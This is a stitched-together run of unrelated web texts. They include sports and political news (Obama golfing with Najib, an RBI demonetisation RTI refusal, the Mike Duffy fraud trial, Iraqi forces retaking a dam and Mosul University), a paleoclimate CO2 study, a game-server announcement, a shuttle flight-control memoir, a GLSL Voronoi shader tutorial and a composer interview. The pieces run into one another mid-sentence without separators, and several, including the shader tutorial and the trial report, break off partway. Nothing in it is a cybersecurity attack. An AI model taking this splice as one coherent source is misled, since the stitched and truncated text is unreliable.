right ingredients inside," Brown continued. "We can't have too little. We can't have too much, so he's got a really important job, and he's definitely enjoying himself." Bowman's 2016 season was cut short due to the Achilles injury. If his food-packing performance is any indication, he's ready to hit the field today. "I feel great," Bowman said. "Guys are excited about how I've been working and coming along, and I'm just excited just to be able to play this game another year and get myself back out there playing the football that I know I can."Why did the atmosphere contain so little carbon dioxide (CO 2 ) during the last Ice Age 20,000 years ago? Why did it rise when Earth's climate became warmer? Processes in the ocean are responsible for this, says a new study based on newly developed isotope measurements. This study has now been published in the scientific journal Science by scientists from the Universities of Bern and Grenoble and the Alfred Wegener Institute for Polar and Marine Research in the Helmholtz Association. Around 20,000 years ago, the atmospheric CO 2 concentration during the last Ice Age was distinctly lower than in the following warm period. Measurements from Antarctic ice cores showed this already two decades ago. An international team of glaciologists thereafter looked even further back in time. The climate researchers found that this close connection between carbon dioxide and temperature has existed over the past 800,000 years: with low CO 2 concentrations during the Ice Ages and higher CO 2 values during warm periods. Now they tried to answer also the question as to where the carbon dioxide was hidden during the Ice Ages and how it got back into the atmosphere at their ends. "We have now been able to identify processes in the ocean which are connected to the observed rise in CO 2," says Dr. Jochen Schmitt, lead author of the recently published study and researcher at the Oeschger Centre for Climate Change Research at the University of Bern. According to Schmitt, during the Ice Age more and more carbon dioxide accumulated in the deep ocean, causing the concentration of atmospheric CO 2 to drop. Only at the end of the Ice Age this stored CO 2 was transported back to the sea surface through changing ocean circulation and thus emitted back into the atmosphere, write the scientists in the scientific journal "Science." A new method for isotope measurements has now made it possible for the first time "to reliably decode the fingerprint of the CO 2 preserved in the ice," explains Schmitt. He and his colleague Prof. Hubertus Fischer initially developed these new isotope measurement methods for ice cores at the Alfred Wegener Institute for Polar and Marine Research and further refined them in many years of research work after moving to Bern. Using the new method the glaciologists extract the air trapped in the ice core completely and the CO 2 contained in the air is thoroughly cleaned. The different isotopes of the CO 2 are analysed in a mass spectrometer and from this data the origin of the carbon dioxide can be derived. Researchers suggested back in the eighties that this puzzle could be solved using an isotopic "CO 2 fingerprint." However, it had so far not been possible to make a precise analysis of the carbon dioxide trapped in the Antarctic ice due to the technical hurdles. The glaciologists and the climate researchers at the Universities of Bern and Grenoble and of the Alfred Wegener Institute for Polar and Marine Research have now managed a breakthrough with their study. Development of future scenarios "The new data have already enabled us to revise and improve a few theories about the possible reasons for CO 2 fluctuations. Measurement data from the past enable us to gain a clearer idea about how the climate must have looked at the end of the Ice Age," says Jochen Schmitt. And now the data must be compared with the results from climate models to verify and further develop the models. "In addition to the scientific curiosity about how our Earth functioned in the past, the main question to be asked is how the Earth will develop under the influence of man," explains Jochen Schmitt. These are important scenarios for the future because the CO 2 content in the atmosphere has never been anywhere near as high over the past 800,000 years as today, says the climate researcher.The evolution of 3D printing creates new applications on a daily basis, and Palette helps to fuel this innovation. The ability to directly fabricate parts and roughly validate the design can create a lot of value. One application is the use of full scale models, like this automotive ball joint. Engineers can use a scaled print to confirm the dimensions of the part and check how it interfaces with other parts of the system. Normally, this type of verification would require a prototype being taken off of a production line where it is cut open to check both the external fits and compliance of internal components to the required specifications. This process can take weeks to complete while also being costly. So why not print a precise model? One example is this full scale cross-section of an automotive ball joint. The bearings and the ball stud act like the ball-and-socket joint of a human hip. The ball joint is comprised of a threaded ball stud (grey) connected to a spherical surface which sits inside two metal bearings (purple). The sintered metal bearings are usually soaked in oil to allow the joint to withstand heavy loads for a long period of time. These parts are contained inside a housing which is sealed by the dust boot (green), which helps keep liquids and other debris out of the bearings. The upper and lower rings (black) help lock the dust boot onto the housing and ball stud to help maintain a seal. While drawings and digital models are useful, a full size representation can allow for in-site testing and visual verification. While visualizing products on a screen can be very deceiving, holding a model in your hand is worth more than a thousand words.Friends become enemies. Enemies become friends. Cross-Faction Grouping and Battlegrounds are LIVE on Sargeras Heroes of Sargeras, We come to you today to announce a change; a change brought about by the voices of the players. You spoke out to us, told us what you wanted. And we have listened. Cross-Faction is coming to Sargeras. This update will introduce two major cross-faction systems: cross-faction grouping, and cross-faction battlegrounds. Cross-Faction Grouping Cross-faction grouping will allow players of the Alliance and Horde to band together in a single group or raid to conquer the challenges you face. This means that you will now be able to party and raid with members of the opposing faction. In addition, the language barriers between the two factions will also be absolved, opening new opportunities for communication between players. Our hope is that this system will create new groups and new guilds, allowing access to content previously unavailable to many. The following are becoming Cross-Faction: Grouping, Trading, the Calendar, and Chat, Mail, and the ability to add friends of the opposite faction to your friends list. And of course... Cross-Faction Battlegrounds Cross-faction battlegrounds will allow Horde and Alliance to join the same team in battlegrounds. Whereas before, one sided battles were common, now each match will test the specs and skills of each player in it. Arathi Basin will rely now on teamwork, Warsong Gulch will be a test of communication and strategy. Each new victory relies more than ever on you. While this update is first releasing on Sargeras, we will be considering implementing Cross Faction Battlegrounds on Andorhal as well, if we see that it improves the quality of PvP for all players. May this new update forge you new friendships, and new allies, Heroes. And rest assured… ...this update is merely the first of many. This week.President Obama, left, smiles at Malaysian Prime Minister Najib Razak as they play golf at Marine Corps Base Hawaii's Kaneohe Klipper Golf Course in Kaneohe, Hawaii on Dec. 24, 2014 (AP / Jacquelyn Martin) HONOLULU — President Obama has generally refrained from mixing business and pleasure on the golf course. On vacation here in Hawaii, he has mostly hit the links with the same circle of longtime friends and White House aides he usually pals around with. Until Wednesday, when a newbie joined the First Foursome — Malaysian Prime Minister Najib Razak. The White House said Najib, along with aides Joe Paulsen and Mike Brush, was playing with the president on the course at the Marine Corps base at Kanehoe Bay. Turns out Najib was in town on his own getaway, and it is not unprecedented for Obama to do a golf summit with a world leader. Last year in Hawaii, he played with New Zealand Prime Minister John Key. (In 2011, Obama famously played a round with House Speaker John A. Boehner at Andrews Air Force Base that did not exactly lead to a good working relationship off the course.) Obama has established perhaps a better working relationship with Najib, after making the first visit by a sitting U.S. president to Malaysia in nearly half a century last spring. It was unlikely they had an in-depth discussion of their foreign policy agendas on the course, however, but perhaps focusing instead on trying to avoid the sand traps. In a statement, the White House said: "The two leaders took the opportunity to discuss the growing and warming relationship between the United States and Malaysia. The president said he looked forward to working with Prime Minister Najib in 2015, during Malaysia's chair year of the Association of Southeast Asian Nations." On the 18th hole, reporters were allowed onto the course briefly. Obama missed a putt to the left off the hole, then tried to tap in but "picked the ball up before it missed again," according to a pool report. Najib also missed a second putt, but Obama consoled him with a pat on the shoulder. President Obama and Prime Minister Najib Razak of Malaysia play golfed together on Christmas Eve in Hawaii. (Reuters) Wall Street Journal reporter Carol Lee asked Obama if he planned to watch "The Interview," the Sony movie that will be released on Christmas after the studio initially canceled the release in the wake of the company being hacked, allegedly by North Korea. "I'm glad it's being released," replied Obama, who had criticized the studio last week for its initial decision. The president wished the reporters a Merry Christmas, according to Lee, then offered: "Be careful about those fruity drinks. You never know they might have a little kick." Lee reports that she asked him if he'd been drinking fruity drinks, but he didn't respond.Why were Rs 1000 and Rs 500 notes demonetised by the government? Fifty days after the government announced that these notes would cease to be legal tender, Reserve Bank of India feels that the reasons behind the sudden announcement cannot be made public. The monetary policy regulator also refused to give any details about the time it will take to replenish the currency notes. "The query is in the nature of seeking future date of an event which is not defined as information as per Section 2(f) of the RTI Act," RBI said in response to an RTI query. The Bankers' Bank refused to disclose reasons behind the demonetisation of about Rs 20 lakh crore of currency in the country citing Section 8(1)(a) of the Right to Information Act. The section states, "Information, disclosure of which would prejudicially affect the sovereignty and integrity of India, the security, strategic, scientific or economic interests of the State, relation with foreign State or lead to incitement of an offence." Denying the information sought in the RTI application, the RBI did not give any reasons as to how exemption would apply in the given case as the decision was already taken and there was no way that disclosure of information would have fit in any of the reasons cited in section 8(1)(a) of the RTI Act. "The clause of public interest would apply where exemption clause applies on the information sought by an applicant. In the present case, the information sought does not attract any exemption clause," former Central Information Commissioner Shailesh Gandhi told PTI. He said law is very clear that when a public authority rejects to disclose an information it must give clear reasons as to how the exemption clause would apply in the given case. Recently, it had refused to allow access to minutes of meetings held to decide on the issue of demonetisation of Rs 1000 and Rs 500 notes announced by Prime Minister Narendra Modi on November 8. Responding to an RTI application filed by activist Venkatesh Nayak, the Banker's Bank refused to disclose the minutes of the crucial meetings of Central Board of Directors on the issue of demonetisation citing section 8(1)(a) of the transparency law. Nayak said he will appeal against the decision, adding, while confidentiality prior to the making of the demonetisation decision is understandable, continued secrecy after the implementation of the decision is difficult to understand when crores of Indians are facing difficulties due to the shortage of cash in the economy. He said the refusal to disclose the minutes of the board meeting where the decision was taken is perplexing to say the very least. Former Information Commissioner Shailesh Gandhi also underlined that RBI has created an in-house "disclosure policy" which is against the letter and spirit of the RTI Act. Gandhi has also filed a complaint before Central Information Commission against RBI.Sent to us from an anonymous but beneficent RMNB reader, here’s a sneak peek of what is probably the Capitals’ logo for the 2015 Winter Classic. The photo is grainy and taken from a good distance away, but you can definitely make out a W on the outfield wall– the same one Bryce Harper crashes into once or twice a month. It’s apparent this is the Caps’ logo as it sits opposite a recognizable Blackhawks logo at left. Looks like the Caps are doing something bold with their branding this time around. Blue, not red, seems to be the dominant color. The W appears to be surrounded by a ring of stars (or are they dots?). The tops of the W might have crowns above them… or something. There are more photos below. Help us decode this. The official announcement is tomorrow. Email us at thecrew@russianmachineneverbreaks.com if you’ve got moar scoops. Advertisements Share this story: Facebook Twitter Reddit Tumblr PinterestEven though we sometimes hated them, the training teams that prepared mission control and the astronauts for every flight are real heroes. Without their efforts, all of us flight controllers would have believed we knew everything there was to know about everything and would have tripped over our own shoelaces at the first sign of trouble. I can remember after about a year of integrated training for STS-1, just when we were feeling like we were hot stuff, a new capability drop for the simulators came on line. That first day of training with the new capability, the EGIL sang out “Control Bus AB1 is down” on the Flight Director loop. We all looked at blankly each other and asked, ‘what the heck is a control bus’. Turns out that failures in the shuttle electrical system works were not simulated before, and now they were. All of us learned an awful lot about the shuttle electrical system very quickly. Training flight controllers and astronauts was a complex job especially when we had “integrated training” which was the closest thing to real space flight available. There were certain ‘cases’ that each flight controller and crew member were required to experience and master. These malfunction cases were practiced over and over and over again until they became so routine that we were bored by them; identification and reactions were automatic and swift. Then there were new cases for new crew members and new flight controllers; hundreds of potential malfunctions that could possibly occur. Each new person had to demonstrate familiarity and confidence to identify and rectify hundreds of potential shuttle systems failures. Little failures, big failures, complex failures, simple failures. Hundreds, if not thousands. Then the gain was raised with complex interacting multiple failures: this computer and that electrical bus, this IMU and that GPS, this hydraulic system and that aero data set with wind shear, this TAL abort and that leaking tire, and on and on and on. A seemingly infinite set of dual complications. Master all the dual combinations? Get ready for triples! Shesh. On a busy day the sim team had to make sure that multiple flight controllers saw multiple failures in each eight and a half minute shuttle launch profile. We generally did six launches in one day. Or in the entry sims that simulated the last 15 minutes of entry – four of those cases filled up a day. The nexus for all problems of course was the Flight Director. Sometimes it felt like the Flight Director was wading through a class of excited grade school students all calling for his attention at once. The Flight Director had to recognize and prioritize failure responses very quickly. Some things just had to wait (“Flight, the cockpit voice recorder just failed, have the crew switch to recorder #2.” ” OK INCO, we will do that as soon as we get the cabin air leak stopped, the fire out, and the abort mode selected”). Flight Directors – including this one – tended to get testy on days like that. ‘Not realistic Sim Sup’ or ‘We will never have an ascent with that many failures Sim Sup’ or other brief communications that we cannot reproduce in a family oriented publication. In the old MCC of Apollo heritage which we used for early shuttle missions, the Sim Control team area overlooked the Flight Control Room – but there were curtains on the MCC side When the Flight Director really had enough, he would have the curtains closed, blocking off the sim control team’s view. Later on, the sim team used the remote controlled TV cameras in the Flight Control room to observer their victims, er, trainees during tense moments. An eight and a half minute ascent simulation with a full malfunction count could leave you breathless and heart racing. Sometimes the debrief took two hours to discuss what had happened and action items would be assigned that might take weeks of research to finally answer. When we got to real flight, it was so calm by comparison as to be boring. Many the nominal ascent I would look back and wonder what we trained so hard for. Then came STS-93. After that one, the Flight Directors complained a lot less about busy training runs.Iraqi forces and Shiite militiamen have recaptured one of Iraq's largest dams, another success in Baghdad's efforts to wrest key facilities back from the Islamic State group. Pro-government forces ousted IS jihadists from control of Adhaim dam, which forms a lake that marks the border between the eastern provinces of Diyala and Salaheddin, earlier this week. Commanders from the army and the Shiite Badr militia that jointly led the operation told an AFP journalist who visited Friday that IS pulled out after a brief battle two days earlier. “Thanks to the mujahedeen of the army and Badr, we have taken control of the site and have cleared it completely,” said Badr commander Kadhem Husseinawi. Ali Hussein, a soldier with the 5th Brigade, said the fighting only lasted a few hours but that it would take some time to defuse all the booby-traps left behind. Most of the dam’s vital infrastructure was intact, as was the administrative headquarters, but some of the staff lodgings that IS fighters had occupied were destroyed. In the back yard of one of those houses, in a bunker the IS used to store food and ammunition, Badr fighters wearing their trademark green bandanas flashed victory signs. The pro-government forces seized at least 10 vehicles, including Humvees and armoured personnel carriers, and destroyed four others during the operation, which involved mortar fire and strikes by helicopters and jet fighters. HEADLESS BODY One soldier said the operation began with the capture from IS of two of the four mainly Sunni villages near the dam, with the other two being seized afterwards. Ground troops advanced by communicating to helicopters the coordinates of suspected bombs planted on the road, which were fired on and detonated to clear the way. The bodies of at least eight jihadists were still visible near the shores of the lake, including one whose head was missing. Former minister Hadi al-Ameri, who commanded the Badr forces in Adhaim Wednesday, claims that IS sometimes decapitates its own dead before pulling out of an area to prevent their identification. Husseinawi showed a warehouse IS had used as a workshop to rig vehicles with explosives for car bomb attacks. One suicide bomber detonated a Humvee during the fighting Wednesday, killing three soldiers, including a colonel, he said. Adhaim dam, located about 130 kilometres (85 miles) northeast of Baghdad, has a width of 3,800 metres (2.4 miles). Construction of the dam began in 1989 to provide hydroelectric power, as well as flood control and irrigation. However, work was never completed, and no electricity has ever been generated there. A main focus for the government since it lost swathes of land in a bruising June offensive by the jihadists has been to retake or protect the country’s most vital facilities. On Saturday, pro-government forces broke a months-old siege on Iraq’s largest oil refinery near Baiji. And in August, Kurdish and federal troops backed by US air strikes retook Mosul dam, the country’s largest, in the north. Significant Iraqi and foreign resources have been poured into retaining control of Haditha dam, one of the last areas still under government control in the western province of Anbar.The statement in full can be seen below: Wycombe Wanderers Football Club has been issued with a fine of £10,000 for a breach of C2 of The FA’s Football Agents Regulations, in relation to the original sale of Matt Phillips to Blackpool in the summer of 2010. During Wycombe Wanderers Trust’s period of due diligence of the club during its acquisition in 2012, they were assured there would be no outstanding liabilities in respect of this, or any other, transaction carried out by the previous management. We now understand this not to be the case. The Football Club has cooperated in full with the FA, acting in good faith and bringing the matter to the attention of the authorities once the irregularities were discovered in September 2013. At no point before, during or after the investigation has the club attempted to deceive or conceal information from the FA. Whilst the charge is related to the time of the previous owner, and that the £10,000 fine is a direct result of the action of those previously associated with the club, Wycombe Wanderers and Wycombe Wanderers Trust accept the charge and will not be making an appeal.PUNE: All of 15 years old, Manasvi Baheti recently rode a tandem with her father from Manali in Himachal Pradesh to the Khardung La mountain pass in Jammu The tough 500-kilometre expedition through the Himalayas would be a formidable challenge for all but the most ardent adventure enthusiasts, but it proved a liberating experience for the Class X student who beat her 100% visual impairment to accomplish it.Manasvi and her father Kailash’s adventure was part of an initiative that has been touted as India’s first blind-and-sighted tandem expedition in the Himalayas, and they were one of 10 pairs who rode through Manali-Leh-Khardung La in less than two weeks. Manasvi was the youngest participant.The expedition was organised by an organisation named Adventure Beyond Barriers Foundation (ABBF), which aims to promote inclusion by enabling people with disabilities and those without to participate in adventure sports together. Founded in 2014, ABBF works across five verticals — trekking, scuba diving, paragliding, and mountaineering.“Our purpose is to establish a connect, build empathy and, most importantly, remove the awkwardness associated with ‘disability’,” ABBF founder Divyanshu Ganatra said. He was all praise for the expedition’s youngest participant, saying, “Manasvi is a spirited girl. This is a tough ride even for professionals, but the way she overcame the challenges was phenomenal.”Manasvi’s mother Sangeetha said, “Cycling was something Manasvi enjoyed as a child. We had to look for a tandem for a very long time. Tandems manufactured by an international brand were recently imported here, and we were their first customers.”Manasvi herself described the journey as “an amazing experience”.“We had to get up early, undergo medical checkups, and stay in tents. The first day was challenging with the uphill climb, but it was mesmerising to experience the slight snowfall. We crossed six passes. Reaching Khardung La was the best. All the adults in my team were crying. I believe the saying, ‘Mountains make you babies’,” she added.As the news of Tiger Woods' arrest for driving under the influence in Jupiter, Florida broke on Monday, one news outlet began to use a slightly different version of his mugshot. ESPN proudly displayed the ubiquitous photo of Woods, but appeared to have given him a cleaner haircut via Photoshop in its 'Breaking News' banner. His unkempt hair was cropped short in the ESPN version and the mugshot was displayed on a light blue background, as keenly spotted by Sports Illustrated. While the editing job is obvious, the reason behind the decision is less so. Scroll down for video In telling the story of Tiger Woods' arrest for driving under the influence, ESPN used a different version of his mugshot - one where his hair is noticeably cropped to appear tidier One Twitter user pointed out that ESPN was also using the original mugshot, supporting the idea that the photo was altered merely for speed in creating the 'Breaking News' banner ESPN has had a close relationship with the golfer for years, and there has been some speculation that the organization could be trying to protect him by making the photo more appealing. But, as Business Insider pointed out, it could simply be a result of quick editing. The'magnetic freeform pen' tool on Photoshop allows a user to crop an image away from its background, but can accidentally skip over parts of the image that are less defined - like the small wisps of Woods' hair. Or, if ESPN was merely looking to switch the background color of the mugshot, it would have been much easier to crop the untidy hair away than to go through and delete the bits of green at the top of the image. Whatever the motivation for the editing job, it doesn't help Woods much. He was arrested around 3am on Military Trail, south of Indian Creek Parkway in Jupiter, Florida. Arrest information from the Palm Beach County Sheriff's Office shows Woods was booked into jail at 7.18am on Monday and released on his own recognizance at 10.50am, meaning he did not have to post bail. Of notorious mugshots, Woods' most recent is high on the list - depending on which one you're looking at When he was pulled him over, the officer said he smelled alcohol on Woods' breath and that Woods became 'arrogant.' The officer asked him to blow into a breathalyzer and he refused, which in Florida results in an automatic DUI arrest and license suspension. On Monday night, Woods responded to the controversy in a statement. 'I understand the severity of what I did and I take full responsibility for my actions,' he said. 'I want the public to know that alcohol was not involved. What happened was an unexpected reaction to prescribed medications. I didn’t realize the mix of medications had affected me so strongly. The athlete currently earns $45.5million in one year alone in sponsorship money - including more than $20million from his Nike contract - but could lose lucrative endorsements after his most recent arrest.BAGHDAD (Reuters) - Iraqi special forces swept through the campus of Mosul University on Sunday to clear it of any remaining Islamic State militants after taking full control of the area, a spokesman said. A military statement said troops had also taken another area along the eastern bank of the Tigris river, in gains that are bringing more of Islamic State’s last major stronghold in the country under Iraqi forces’ control. Counter-terrorism service (CTS) troops drove the jihadists back inside the strategically located university complex and seized clusters of buildings including colleges on Saturday, a crucial advance towards recapturing all areas of Mosul east of the river. “The university is completely liberated and forces are sweeping the complex for any hiding militants,” CTS spokesman Sabah al-Numan told Reuters by phone on Sunday. “Most buildings are booby-trapped so we’re being cautious.” “We’re not stopping,” he added, saying the CTS was working to push into areas next to the university. Parts of the sprawling campus overlook neighboring districts in eastern Mosul and towards the river. Taking the entire east bank of the Tigris, which bisects Mosul from north to south, will allow Iraqi forces to begin assaults on the city’s west, which Islamic State still holds. On Saturday elite rapid response units of Iraq’s federal police recaptured large areas in the southeast, securing a stretch along the bank. Loss of Mosul could spell the end of the Iraqi side of IS’s self-styled caliphate, which it declared from the city after sweeping through vast areas of Iraq and Syria. Slideshow (8 Images) Iraqi forces say they are close to recapturing the entire eastern bank. They are backed by U.S.-led air power in an offensive launched in October to retake the city. The campaign involves a 100,000-strong force of Iraqi troops, Kurdish fighters and Shi’ite militias. Forces have made rapid advances since the start of the year, aided by new tactics and improved coordination, military officials say.basic voronoi first, here's what a simple voronoi diagram looks like: the basic idea here is to generate points on a grid, jitter the points, and then for each pixel, find the nearest jittered point. here's the glsl code that generated the above image: precision mediump float; uniform sampler2D randTex; vec4 rand( vec2 p ) { return texture2D( randTex, p/256.0, -100.0 ); } void voronoi( in vec2 x, out vec2 cell ) { vec2 xcell = floor(x); vec2 xoffset = fract(x); float bestSqrDist = 8.0; vec2 bestCell; for( float j = -2.0; j <= 2.0; j++ ) for( float i = -2.0; i <= 2.0; i++ ) { vec2 relativeCell = vec2(i,j); vec2 currentCell = relativeCell + xcell; vec2 offset = rand(currentCell).xy; vec2 relativePoint = relativeCell + offset - xoffset; float sqrDist = dot(relativePoint,relativePoint); if( sqrDist < bestSqrDist ) { bestSqrDist = sqrDist; bestCell = currentCell; } } cell = bestCell; } varying vec2 position; void main( void ) { vec2 p = position; vec2 cell; voronoi( 20.0*p, cell ); vec3 col = rand(cell).xyz; gl_FragColor = vec4(col,1.0); } one place i see people go wrong is to only search in the 3x3 grid around the query point. this would be big enough if you needed to search in a unit circle around your query point, but you actually need to search in a circle of radius $\sqrt{2}$ (imagine a query point in the corner of a grid cell, and all 4 adjacent cells have the jittered point in the furthest possible corner). a simple way to do this is to increase the search box to 5x5, but there is probably a more
in what appears to have been an unprovoked attack. The 43-year-old Huntington Beach man and his relative were walking to a car after the Angels' playoff game against the Kansas City Royals Friday night when they were attacked for no apparent reason, Lt. Bob Dunn said Sunday. Witnesses alerted Anaheim police officers of the incident, and police found the victim unconscious. He was rushed to a hospital, where he was listed in critical condition. The male relative was not injured. "There is no evidence to suggest that there was an argument or any type of physical altercation prior to the incident in the parking lot," Dunn told the Orange County Register. He said there was no indication the attack had anything to do with team rivalries. He said extra officers were on patrol for the postseason game, "above and beyond what we would deploy at a regular-season game." Angels Stadium is located 30 miles south of Dodgers Stadium, where a San Francisco Giants fan was beaten in 2011 after a game between the rival teams. Bryan Stow, a paramedic from Northern California, suffered brain damage from the beating and is permanently disabled. The violence sparked scrutiny of stadium security and fan behavior.PAUL J. RICHARDS/Getty Images Social Security recipients displaced by Hurricane Katrina lined up for hours at one of the Baton Rouge, Louisiana, offices in September 2005. When is a consumer choice not just a consumer choice? Apparently when the shopper is a recipient of welfare, researchers have found. According to a recent study from the University of British Columbia, people on welfare who make ethical purchases, like organic food or hybrid cars, are judged as immoral for "taking advantage of public generosity." "We discovered a double standard where people are judged differently for making identical choices, depending on where their money comes from," Darren Dahl, the study's author, said in a press release. The series of five studies was designed to examine the relationship between two social values, making ethical consumer choices and thrift. The researchers asked more than 1,300 participants to judge people's morality based on their grocery lists and cars. They found that, while most people are judged to be virtuous when they make ethical purchases, people on welfare were "only praised when they're frugal." The two reasons for this polarized opinion, according to the study, are price -- ethical goods usually cost more than conventional ones -- and "deservingness," the right to spend money however you want, which people tend to accord those who earn money but not those who receive government assistance. "People on welfare tend to be seen as undeserving of more expensive options and of wasting taxpayers' hard-earned cash," Dahl said in the press release. However, this perception doesn't stand up to the facts. The average SNAP food stamp benefit is only about $125 per month per person, as The Huffington Post has written. And the vast majority of welfare recipients aren't abusing "the system" to live large -- they're trying, really hard, to make ends meet. According to a recent breakdown of expenditures by families receiving welfare, they spend a fraction of what regular families spend on basically everything -- half as much on housing, one-third less on food and less than one-fifth the amount on healthcare.The NRL has released the fixtures for the final six rounds of the 2015 NRL Telstra Premiership season, with a number of blockbuster clashes in the run to the finals. With places in the top eight still very much up for grabs, rugby league fans will be treated to some spectacular matches as every club battles to stay in the hunt for the Provan-Summons trophy. See the full 2015 NRL Telstra Premiership draw Thursday night football to return In Round 21, premiership heavyweights the Roosters and Bulldogs will clash at Allianz Stadium in a Friday Night Footy blockbuster, while across town on the same night Wests Tigers host Melbourne Storm at Leichhardt Oval. In Round 22, the Sharks and Cowboys will resume hostilities at Remondis Stadium on Saturday evening after Cronulla ended North Queensland's 11-game unbeaten run in Round 16. The Broncos will host the Bulldogs and the Dragons at Suncorp Stadium on consecutive Friday nights in Rounds 22 and 23. Thursday night football returns in Round 23 when the Cowboys put their premiership credentials to the test, hosting reigning premiers South Sydney in Townsville on August 13. The following Thursday, August 20, sees the Dragons take on the Panthers at WIN Stadium. All eyes will be on ANZ Stadium on Friday, August 21 as the Rabbitohs and Bulldogs face each other for the first time since their Good Friday thriller. The Broncos visit Allianz Stadium twice in two weeks, playing the Roosters in Round 24 on Saturday, August 22 at 7.30pm, and then the Rabbitohs in Round 25 on Thursday, August 27. Also that weekend, the Storm and Cowboys meet at AAMI Park, with Origin teammates to turn opposition. The Raiders and Panthers close Round 25 with a Monday Night Football clash in Canberra that could decide a top eight spot. The regular season will come to a spectacular end, with a number of massive contests set to give fans an early glimpse of finals football. The Broncos and Storm kick off Round 26 at Suncorp Stadium on Thursday night, while the Warriors will be out to ensure they return to the finals when they travel to ANZ Stadium to face the Bulldogs in the last game of the season on Sunday, September 6 at 6.30pm. Traditional rivals the Roosters and Rabbitohs will finish their regular seasons at Allianz Stadium on Friday, September 4 in a contest sure to have finals implications, while the Sharks and Sea Eagles will be live on Channel Nine's Sunday Football for the last live free-to-air game of the regular season. Use the NRL.com Ladder Predictor to see who you think will make the 2015 NRL Finals See the full 2015 NRL Telstra Premiership drawA daily chronicle of creativity in film, TV, music, arts and entertainment produced by Southern California Public Radio. Host John Horn leads the conversation, accompanied by the nation's most plugged-in cultural journalists. Composing for film and video games wasn't Austin Wintory's first career choice. "I wanted to be a novelist," Wintory says. "Storytelling has always been at the forefront of my thinking." Austin Wintory is the composer for the PlayStation game "ABZÛ." PlayStation Wintory was inspired by composers and old film scores when he was younger, which ultimately led him to study music at University of Southern California. It was there that he met video game designer Jenova Chen. The two worked on a game called "Flow" for Chen's college thesis, which eventually was released on the PlayStation platform and launched both Chen and Wintory's career in the video game world. Since then, Wintory has scored many films and video games. And he received a Grammy Award nomination for his work on "Journey," which was also designed by Chen. Wintory was the first composer to be nominated for a Grammy in the Visual Media category for a video game score. This year, he scored two video games, one of which is the underwater indie game "ABZÛ." There are no bad guys, no missions to solve, and players don't die in the game. It's simply a game where you explore the ocean and all the animals and treasures it has to offer. Wintory describes it as a game "about the dream of scuba-diving more than the realities of scuba diving." The Frame's James Kim spoke with Austin Wintory about how he went about writing the score for "ABZÛ," his instrumentation for the score, and why he constantly pushes himself musically and creatively. INTERVIEW HIGHLIGHTS: On the music inspiring the gameplay in "ABZÛ": There's a moment in the game where you see the diver swimming in this diagonal alongside these giant blue whales. That was completely and totally designed around the music. I wrote it first based on what Matt Nava, our creative director, said he was envisioning for the scene, but just purely a verbal description. So I wrote this grand waltz because I was picturing this glorious scene of dancing with these incredible and majestic blue whales. On going big and composing for seven harps in the game's score: I'm a fan of unique and interesting colors. I'm also a fan of taking seemingly very normal colors and blowing them out into absurd proportion. For example, on "ABZÛ," I knew I wanted the rolling texting of the harp in the score. There's a thing they do that's called a bisbigliando, which is this continuous rustling of their strings that is a very attractive sound. But I thought, What if it's not one or two, but it's like a crowd of harps doing those kinds of gestures? So I had seven harps on "ABZÛ" that we recorded in London. It's a very normal sound, but seven of them is a little bit of a different animal. Austin Wintory is a film and video game composer. Austin Wintory On constantly striving to push himself: I tend to beat up on myself really hard when I'm working because I ask myself questions like, Does this music have to exist? I know this sounds extremely lofty and probably cheesy, but I ask myself, Does this music actually contribute to the world being better? Because if it doesn't, then it's probably some form of masturbation, and who needs that? The point is that, if I'm just writing music as a form of self-aggrandizing, it's not doing anybody any good. For me, the inspiration to push myself is always in the form of, Is this worth having written? Meaning, is it worth someone's time to listen to? "ABZÛ" is currently available on PlayStation 4 and Steam.Mike Duffy was paid $10,000 to give a speech at a building owners conference in Ottawa in 2012, billing the Senate around $3,000 for travel expenses, prosecutors said in court today. On the last day of the first phase of the trial, court heard from Dean Karakasis, executive director of the Ottawa branch of the Building Owners and Managers Association. Karakasis testified that Duffy was hired through the National Speakers Bureau for a total of $11,384.75 (including HST/GST) to deliver a speech on Sept. 12, 2012, about the behind the scenes activities of Parliament. He said Duffy arrived for the event just before noon that day, delivered a half-hour speech, stayed for lunch and then left. According to court exhibits, from Sept. 11 to 13, Duffy billed the Senate more than $3,000 to travel with his wife from Charlottetown to Ottawa and back again. He also charged around $140 for taxi expenses. That Duffy received money for the speech is not an issue at the trial, as senators are allowed to be paid for such appearances. But the Crown contends that Duffy billed his travel expenses to the Senate to deliver that speech and that those expenses constitute fraud. However, under cross-examination by Duffy's lawyer Donald Bayne, Karakasis admitted he didn't know what other Senate-related business Duffy had that day or around that time. Duffy has pleaded not guilty to 31 charges of fraud, breach of trust and bribery related to expenses he claimed as a senator and later repaid with money from the prime minister's former chief of staff Nigel Wright. The trial, in its 22nd day Friday, began April 7 in the Ontario court of justice in Ottawa. Court proceedings will now take a break and restart on June 1. The trial had been slated for 41 days, but both the Crown and defence have made it clear that they will need more time. Received cheque from Duffy Court also heard from Bill Rodgers, a former Parliament Hill journalist and one-time Conservative staffer, who testified he received a cheque payment in 2012 from Duffy after the two had conversations about a number of issues including climate change, aboriginal affairs and water quality. Rodgers said he did not expect any payment, and that he didn't believe it was necessary because he and Duffy were friends. But Duffy said he was going to check with his friend Gerald Donohue as to whether there was any money left. Court has heard that Donohue had been awarded a series of Senate research contracts with Duffy worth nearly $65,000. The RCMP has said Donohue received the money for "little or no apparent work." Instead, the Crown alleges, that pool of money was used by Duffy to pay for some inappropriate or non-parliamentary services — expenses, the Crown believes, wouldn't have been covered by the Senate. Cheques signed by Donohue to pay for those services came from either Maple Ridge Media, or later Ottawa ICF, companies owned by Donohue's family, court has heard. When Duffy mentioned a possible payment, Rodgers told court, "I just assumed it would be coming from the Senate of Canada." Rodgers, who was paid $2,000 through Ottawa ICF, testified that he "thought it was unusual having a third party paying me." However, he said, he later learned from an RCMP officer that that arrangement happens quite frequently with other senators, that "it's not a Mike Duffy practice." Duffy and dog show Earlier, Conservative MP Dean Del Mastro testified that Duffy told him he was in town for a dog show in 2010 when they met at a Tim Hortons in Peterborough, Ont., a trip the Crown claims the suspended senator inappropriately expensed to the Senate. Former Conservative MP Dean Del Mastro, left, testified by telephone today at Mike Duffy's trial. (Courtesy of Selrahc Yrogerg/Flickr) Del Mastro, a former parliamentary secretary to Prime Minister Stephen Harper, was convicted last fall of violating the Canada Elections Act during the 2008 election. He has since resigned his House of Commons seat. Testifying by phone, he said he had received a call from Duffy in July 2010 telling him he was in Peterborough and asking him whether they could get together. Del Mastro said he met with Duffy and his wife Heather for about an hour at a Tim Hortons where they had a coffee and discussed a number of issues that were in the news at the time. "Did the senator tell you why he was in town?" 